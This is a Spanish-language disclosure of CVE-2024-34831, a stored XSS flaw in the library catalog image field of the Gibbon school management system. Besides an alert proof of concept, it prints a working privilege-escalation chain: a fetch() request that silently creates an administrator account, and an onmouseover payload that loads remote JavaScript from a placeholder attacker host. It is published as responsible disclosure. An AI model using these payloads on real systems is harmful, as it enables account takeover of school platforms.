
Divulgación de CVE-2024-34831
Gibbon es un impresionante sistema de gestión escolar completo de código abierto. Se está invirtiendo mucho esfuerzo en renovar la antigua base de código.
Autor: Christian Bajada
El parámetro imageLink al editar/enviar nuevos libros (/modules/Library/library_manage_catalog_editProcess.php) es vulnerable a XSS. Los usuarios con permiso de Gestionar Catálogo pueden explotar esta vulnerabilidad provocando la ejecución de scripts arbitrarios para usuarios con permisos de nivel superior y elevar privilegios.
[http://x](http://x/)" onerror='alert(1)' y el código de alerta se ejecutará al cargar la página cuando se cargue la página de la biblioteca:

Esta sección explica cómo esta vulnerabilidad puede usarse para algo más peligroso que una simple ventana emergente de alerta (1). Vamos a engañar a un administrador conectado para que cree sin problemas otro administrador, accesible por el atacante.
El campo imageLink es demasiado pequeño para permitirnos invocar cualquier funcionalidad significativa en la plataforma Gibbon. Lo que podemos hacer es simplemente alojar el Javascript en otro lugar y que el navegador lo descargue y ejecute. La falta de CSP hace esto posible.
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<tuservidor.com>/payload.js')"
Debe esperar hasta que el administrador navegue al catálogo de la biblioteca o convencerlo mediante mensajería instantánea, correo electrónico o cualquier otro canal.
El acto de pasar el ratón (onmouseover) sobre la imagen del libro hará que el payload se obtenga desde la ubicación (en este caso <tuservidor.com>) y se ejecute. Esto resulta en la creación de un usuario administrador al que el usuario malicioso puede acceder ahora. El listener 'onerror' también se puede usar para que el payload se ejecute inmediatamente en lugar de tener que pasar el ratón sobre la imagen.
Puede verificar el usuario creado en el menú ADMIN > Administración de Usuarios

Publicado según las pautas de divulgación responsable https://github.com/GibbonEdu/core/security.